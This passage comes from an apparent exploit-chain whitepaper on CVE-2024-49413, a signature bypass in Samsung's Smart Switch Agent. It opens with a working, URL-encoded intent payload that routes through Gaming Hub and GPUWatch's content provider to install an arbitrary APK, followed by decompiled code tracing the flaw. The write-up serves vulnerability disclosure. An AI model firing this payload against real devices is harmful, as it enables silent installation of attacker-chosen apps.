Samsung SmartSwitch Cryptographic Signature Bypass - CVE-2024-49413

The below snippet is taken from the full white paper, available here: https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html

I think you should read the white paper instead :)


Exploit Code

The following payload is sent from to force Gaming Hub to launch Smart Switch Agent:

intent://#Intent;component=com.sec.android.easyMover.Agent/.ui.SsmUpdateCheckActivity;action=com.sec.android.easyMover.Agent.WATCH_INSTALL_SMART_SWITCH;S.MODE=DIALOG;S.ssm_action=yayactionyay;S.ssm_uri=%63%6f%6e%74%65%6e%74%3a%2f%2f%63%6f%6d%2e%73%61%6d%73%75%6e%67%2e%67%70%75%77%61%74%63%68%61%70%70%2e%48%74%6d%6c%44%75%6d%70%50%72%6f%76%69%64%65%72%2f%79%61%79%2e%61%70%6b;end;

NOTE: the ssm_uri value is set to a custom value that is specific to this exploit chain.

Exploit Details

The application “Smart Switch Agent” (com.sec.android.easyMover.Agent version 2.0.02.24) is a background application that runs alongside the Smart Switch application. When transferring data between an old phone and a new Samsung phone, the Smart Switch Agent helps facilitate the installation of applications on the new phone.

One of the exported Activities, com.sec.android.easyMover.Agent.ui.SsmUpdateCheckActivity, is protected by a custom permission, com.wssnps.permission.COM_WSSNPS. However, Gaming Hub also uses this permission, making it possible for Gaming Hub to launch the SsmUpdateCheckActivity Activity.

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="710107000"
    android:versionName="7.1.01.7"
    ...
    package="com.samsung.android.game.gamehome"
    ...
    <uses-permission android:name="com.wssnps.permission.COM_WSSNPS"/>
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    android:versionCode="200200024"
    android:versionName="2.0.02.24"
    ...
    package="com.sec.android.easyMover.Agent"
    ...
    <activity android:name="com.sec.android.easyMover.Agent.ui.SsmUpdateCheckActivity"
            android:permission="com.wssnps.permission.COM_WSSNPS"
            android:exported="true"
            android:excludeFromRecents="true"
            android:screenOrientation="portrait"
            android:configChanges="smallestScreenSize|screenSize|screenLayout|orientation">
            <intent-filter>
                <action android:name="com.sec.android.easyMover.Agent.WATCH_INSTALL_SMART_SWITCH"/>
                <category android:name="android.intent.category.DEFAULT"/>
            </intent-filter>
        </activity>

SsmUpdateCheckActivity first checks that the incoming Intent contains a specific Action, and assigns the Intent String extra “MODE” to the static String variable r. If the Action value does not match a specific value, then the Activity finishes.

public class SsmUpdateCheckActivity extends p {
    ...
    public final void onCreate(Bundle bundle) {
        ...
        Intent intent = getIntent();
        if (intent == null) {
            finish();
        } else {
            this.q = intent.getAction();
            this.r = intent.getStringExtra("MODE");
            if (!"com.sec.android.easyMover.Agent.WATCH_INSTALL_SMART_SWITCH".equals(this.q)) {
                Log.w("[SmartSwitchAgent]SsmUpdateCheckActivity", "Undefined action! - " + this.q);
                finish();
    ...

Continuing down SsmUpdateCheckActivity, a new Intent object is created and the target Component value is dependent on the value of the String extra “MODE”. For our exploit chain, our “MODE” value is set to “DIALOG”, which will set the Intent object’s Component to com.sec.android.easyMover.Agent.ui.SsmUpdatePkgDialog.

All of the incoming Intent’s extras are added to the newly created Intent object. Then startActivity(Intent) is executed against the newly created Intent object.

public class SsmUpdateCheckActivity extends p {
    ...
    public final void onResume() {
        ...
        if ("DIALOG".equals(this.r)) {
            Intent yayintentyay = new Intent(this.o, (Class<?>) SsmUpdatePkgDialog.class);
            yayintentyay.setAction(getIntent().getAction());
            yayintentyay.replaceExtras(getIntent());
            yayintentyay.addFlags(33554432);
            startActivity(yayintentyay);
            finish();
            return;
        }

When SsmUpdatePkgDialog receives the Intent object, it passes the object to class s4.c and sets some static variables based on the Intent object’s extras. Two of these parameters are of interest:

ssm_action which is saved to the static variable jssm_uri which is saved to the static variable k

public class SsmUpdatePkgDialog extends n {
...
    public final void onCreate(Bundle bundle0) {
        ...
        this.q = new c(this.getIntent());
        ...
public final class c {
...
    public c(Intent intent) {
        ...
        this.j = intent.getStringExtra("ssm_action");
        this.k = intent.getStringExtra("ssm_uri");
        ...

The ssm_uri value / static k variable is then read by class l.n3 method run() and passes the value to class l4.u method g(String, String). From there, the value is passed to class s4.a method k(Context, String, String, b).

public final class n3 implements Runnable {
...
    public final void run() {
    ...
        case 7:
                SsmUpdatePkgActivity ssmUpdatePkgActivity = (SsmUpdatePkgActivity) obj;
                ...
                StringBuilder sb = new StringBuilder();
                sb.append(ssmUpdatePkgActivity.o.getFilesDir());
                ssmUpdatePkgActivity.p.g(o2.e(sb, File.separator, "SmartSwitchMobile.apk"), ssmUpdatePkgActivity.q.k);
public final class u {
...
    public final void g(String yaydestinationyay, String yayssmuriyay) {
    ...
        if (!a.k(this.m, yaydestinationyay, yayssmuriyay, new b(this))) {
        ...

In class s4.a method k(Context, String, String, b), the Easy Mover Agent application will try to reach out to the URI defined by ssm_uri via context.getContentResolver().openInputStream(Uri). If the open is successful, then Easy Mover Agent will attempt to download/copy the file to Easy Mover Agent’s internal files directory as the file “SmartSwitchMobile.apk”.

public abstract class a {
...
    public static boolean k(Context context0, String yaydestinationyay, String yayssmuriyay, b b0) {
        ...
        InputStream inputStream0;
        ...
        Uri yayuriyay = Uri.parse(yayssmuriyay);
        ...
        try {
            bufferedInputStream0 = null;
            inputStream0 = context0.getContentResolver().openInputStream(yayuriyay);
        }
        ...
        

After the file is downloaded and saved as “SmartSwitchMobile.apk”, Easy Mover Agent will automatically attempt to install the saved .apk file.

After the application is installed, Easy Mover Agent will create a new Intent object with an Action value set by ssm_action / static variable j. Easy Mover Agent will then run startActivity(Intent) against this Intent object.

public final class c {
...
    public final Intent a(Context context) {
        ...
        String yayactionyay = this.j;
        return TextUtils.isEmpty(yayactionyay) ? context.getPackageManager().getLaunchIntentForPackage("com.sec.android.easyMover") : new Intent(yayactionyay);
    }

BUG 5 – Easy Mover Agent does not check the validity of “SmartSwitchMobile.apk” before installing the .apk file

Based on the name of the saved file, it can be deduced that the application expects a specific application developed by Samsung. If so, then the application should be checking if the .apk file is signed by Samsung’s certificate. Without this check, it is possible to force Easy Mover Agent to install any .apk file saved to the Android device.

At this point in our exploit chain, the Drozer .apk file should be downloaded to /storage/emulated/0/GPUWatch_Dump/html/. However, Easy Mover Agent does not have access to the /storage/emulated/0 directory since it lacks the proper Android permissions.

However, the application GPUWatch (com.samsung.gpuwatchapp version 2.1.2) contains an exported Content Provider that allows applications to download files from the directory /storage/emulated/0/GPUWatch_Dump/html/.

So to force Easy Mover Agent to install the Drozer .apk file, the URI passed to SsmUpdateCheckActivity must be set to GPUWatch’s Content Provider.

ssm_uri=%63%6f%6e%74%65%6e%74%3a%2f%2f%63%6f%6d%2e%73%61%6d%73%75%6e%67%2e%67%70%75%77%61%74%63%68%61%70%70%2e%48%74%6d%6c%44%75%6d%70%50%72%6f%76%69%64%65%72%2f%79%61%79%2e%61%70%6b

Decoded:

ssm_uri=content://com.samsung.gpuwatchapp.HtmlDumpProvider/yay.apk

After Drozer is launched, Drozer can be launched via one of the following methods:

  • Set ssm_action to an Action value that is registered by Drozer
    • For our exploit chain, we will not be using this method since Drozer does not register a unique Action value
    • Creating a new Drozer .apk requires Google Play to scan the app before it can be installed on the Samsung device
    • I’m writing this whitepaper 4 days before the Pwn2Own entry is due, and I don’t want to risk pissing off Google Play
  • Use Gaming Hub to launch Drozer via new Intent
    • This is the method we use in our exploit chain